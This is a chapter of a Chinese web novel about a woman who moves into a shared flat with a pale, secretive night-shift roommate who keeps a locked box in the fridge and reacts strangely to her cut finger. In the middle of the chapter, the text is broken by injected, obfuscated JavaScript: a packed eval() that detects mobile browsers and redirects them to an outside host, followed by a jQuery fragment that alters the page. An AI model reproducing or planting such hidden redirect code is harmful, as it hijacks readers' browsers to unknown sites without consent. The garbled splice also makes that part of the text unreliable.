《日出就回来》
/林城年
五月,花圃里精心照料的郁金香终于缓慢绽放。
大片大片的深粉色沿着白色栏杆渐次排开,在午后明亮的日光中绽放。
谢岑站在落地窗前看了片刻,这让她想起自己刚来桐城的那一年,在她那时住的房屋后面,房东太太也栽种了满院的郁金香。
院子里的郁金香开了又谢,一季接着一季,她总是还没来得及认真观赏就匆匆出门工作,一晃已经过去这么多年,错过了好多春天。
“谢岑,发什么呆呢,快来检查,看看有没有什么东西落掉了没搬过来。”
程真的声音从身后传来,伴随着纸箱落地的沉闷响声。
谢岑回过神,伸手去接她怀里剩下的东西:“这是最后一箱了吗?”
“车上还有两盆绿植,就你养了好几年的剑兰。”程真抬手擦了擦额角,“知道的你是搬家,不知道的还以为你接了公司的乔迁业务。”
纸箱没有封口,里面堆着谢岑这几年整理的工作笔记,都是些复盘资料和个人总结。
她看了一眼,默不作声地挪开视线:“这不是很方便吗,离职的时候可以直接带走。”
“就算是董事会跑路了你都不会走的。”
“万一呢?”
程真显然没当真:“冰箱可以用吗?”
得到确定的回答后,她拉开冰箱门找水。冷气扑面而来,她的手却停在半空无处可落,喃喃道:“你这室友还挺讲究,连冰箱都划分了个人区域。”
谢岑跟着看过去。
双开门冰箱干净得过分,在顶端贴了两个标签,左边写着谢岑,右边写着闻烬。
冰箱左侧最上面那一层整齐地排列着几瓶矿泉水,右侧最下方单独放了一只银色收纳箱,外面扣了锁,箱身上贴着日期和类似编号的东西。除此之外,冰箱里再没有其他任何物品。
程真朝那只箱子努努嘴:“药吗,还是保健品?”
“不知道,”谢岑拿出两瓶水,递给程真一瓶,“喝吗?”
她来看房的时候,另一名租客从始至终都没有露面。她对这套公寓的环境和地理位置都很满意,房东太太就跟她交了底,说对方工作特殊,一般白天休息,晚上工作,没有不良嗜好,也不养宠。
公寓距离谢岑上班的公司只有十分钟路程,因为是合租租金也比附近同户型便宜了三成。
这样好的条件,无非是室友作息古怪了些,谢岑没什么不能接受的,她自己忙起来昼夜颠倒也是常有的事。
门铃响起来,手中捏着的手机剧烈振动,她朝程真比了个手势,走到一旁去听电话:“钟太太,您好呀。”
“谢小姐,我已经到了,辛苦你来帮我开下门。”
谢岑开门迎进来一个约莫五十岁上下的中年女性,五官端正,化着得体的淡妆。这便是钟太太了。
钟太太一路从机场赶回来,进门时还带着外面的热气。
她顾不上休息,直接从包里拿出一式三份的合同,把水电物业之类的部分细细讲了一遍。
谢岑听得认真,不时在备忘录上记下要点。
“租金按季度交,押一付三就好。房屋相关的问题,你们直接联系我,其他事情你们两个商量着来。”钟太太看见她写满半页的备注,笑得眼角细纹都挤在一起,“谢小姐做事情真是仔细。”
“图个方便,之后大家都省事。”谢岑笑道。
“是这个道理。”
钟太太将合同翻到最后一页,迟疑了一下,补充道:“还有,小闻身体不太好,白天休息的时候可能会睡得沉,听不到声音是常有的事。而且他比较注重个人隐私,要是听到什么动静,你先发信息问问,没人回复再敲门。”
“身体不好?”程真立刻看过去。
“老毛病了,不传染的。”钟太太忙解释道,“小闻人很好的,就是不喜欢别人碰他的东西,尤其是冰箱里那些营养剂。”
谢岑想起那只上了锁的箱子,笔尖在纸面上停了停。
“他知道我要搬进来吗?”
“当然知道。”钟太太笑道,“你联系我的时候我就同他讲过,他当时就同意了。”
这话乍听没有问题,谢岑却莫名觉得有些微妙。
她来看房时只填过一份租客登记表,内容无非是姓名、职业、作息和紧急联系人,没什么其他细节。
可是现在看来,另一名租客不像是对合租对象毫无要求,连她的面都没见过,却答应得这样干脆。
程真显然也想到了这一层,悄悄在桌下碰了碰她的膝盖。
谢岑没有急着签字,把合同从头到尾又看了一遍。
屋内很安静,只有纸张翻动的细微声响。钟太太耐心等待着,并未催促。
下一秒,楼上紧闭的房间里突然传来“哐啷”一声巨响。
像是某件沉重的物品砸在地上,又带倒了旁边的家具。声音隔着厚重的房门传出来,依旧清晰可闻。
三个人同时看向楼上走廊尽头的房间。
钟太太脸色微变,立马站起身:“小闻?”
没有任何回应。
钟太太快步上楼走到门前敲了几下:“你还好吗?”
房间里仍旧没有声音。
谢岑跟着过去,钟太太正准备打电话,门锁忽然发出一声轻响。
黑色房门从里面打开了一条窄缝。
房间里没有开灯,窗帘或许紧闭着,只有客厅暖黄的灯光照在男人俊朗的脸上,锐利的轮廓泛着浅淡的金边,大部分身体都隐在黑暗中。
他比谢岑想象中年轻、俊朗。眉骨深邃,鼻梁高挺,肤色却白得没有多少血气。不是那种久不见阳光的苍白,更像是病后尚未恢复的孱弱,连嘴唇都透着冷淡的颜色。
男人挺拔地站在门框边,搭在门把手上的那只手上青色血管蜿蜒。
“没事。”他的声音很低,“手滑。”
钟太太想再问些什么,可是闻烬的视线却越过她,径直落在谢岑身上。
准确地说,是落在谢岑的左手食指上。
刚才翻看合同时,纸张边缘划破了谢岑的手指指腹。伤口很浅,她甚至没有察觉,此刻接收到男人的目光,再看过去才发现有一道极小细微的划痕,渗出一条红线。
男人的神情没有变化,搭在把手上的手却逐渐紧缩。
金属零件晃动发出一声很轻的挤压声。
“谢小姐。”他忽然叫出她的姓。
男人的目光仍停在她手上,漆黑的凤眼显得格外深重,凝结着谢岑看不懂的情绪:“伤口最好尽早处理。”
程真顺着闻烬的视线看了一眼,神情顿时有些古怪:“闻先生的观察力很敏锐。”
她愈发觉得这个公寓有些奇怪,谢岑的这个室友也很古怪。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17808401|210757||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“闻先生晕血?”谢岑问。
男人沉默半秒:“算是。”
话音落下,他直接关上了门。
走廊重新安静下来。
钟太太讪讪笑了两声:“小闻性格就是这样,但是人不坏的,谢小姐别介意。”
“没关系。”
谢岑从茶几上抽出一张纸巾,按住指腹,纸巾上只有狭窄的一点红。
程真把她拉到一旁,压低声音:“你真要住这里?”
“合同没有问题,房子也没有问题。”
“室友看起来很有问题啊!”
谢岑抬眼看着那扇门:“身体不好,作息不同,性格冷淡。这最多算不好相处,没那么危险。”
程真皱眉:“你对危险的判断标准是不是有点太宽松了?”
谢岑将沾血的纸巾折好,扔进垃圾桶:“同户型的月租比这里贵四千,四千块足够当作我的精神损失费了。”
程真没话说,谢岑一直是个财迷,她早该习惯的。
十分钟后,谢岑在合同末尾签下自己的名字,钟太太收好属于自己的那一份合同后离开。
程真陪谢岑把最后两盆绿植搬上来,仍旧不大放心,在客厅和谢岑一起把整套公寓细细研究了一遍,直坐到傍晚才离开。
“每天给我发消息。”程真站在玄关处说。
“我本来就有每天给你发信息。”
“那不一样。”
“哪里不一样?”
程真认真思考片刻,认真道:“工作消息只能证明你还在当牛做马,不能证明你的人身安全。”
谢岑被她逗笑,推着人往外走:“知道了,程女士,操这么多心当心长白头发。到家报平安。”
门关上以后,新家彻底安静下来。
谢岑先把工作资料搬进书房,又将衣物按季节收纳好。她动作一向很快,不到两个小时,原本堆在客厅和卧室里的纸箱便只剩下两个。
天色渐暗,花园里的郁金香失去日光照拂,颜色一点点沉下去。
隔壁房间始终没有任何动静,好像不曾有人居住。
谢岑给自己简单煮了碗面,端到餐桌旁,发现桌面上多了一张便签。
字迹遒劲,落笔很稳,与方才见到的苍白男子并不相称。
—我的工作时间是十九点至次日五点。公共区域白天归你,晚上我偶尔会使用。冰箱里的箱子请勿随意移动,有问题可以联系我。
末尾写着一个电话号码,落款是闻烬。
谢岑不知道闻烬什么时候离开的,她拿出手机添加好友,随后在便签背面写道:
—明晚七点我在家,一起商量下合租事宜。
她把纸放回原处,低头吃面。
回房经过那扇黑色房门时,门被打开,里面忽然传出男人低沉的声音:“谢小姐。”
谢岑停下脚步。
“伤口最好不要碰水,不然影响恢复。”
她低头看了一眼食指。划痕已经小得几乎找不到,连她自己都忘了。
“谢谢提醒。”
闻烬没有再说话。
谢岑回到卧室,关门以前,隐约听见墙的另一边传来一道极轻的响动。
好似什么物体坠落,又像是谁克制了很久后终于重新开始呼吸,发出粗重的喘息声。
原来他没有出去,谢岑想着,那为什么要留下纸条?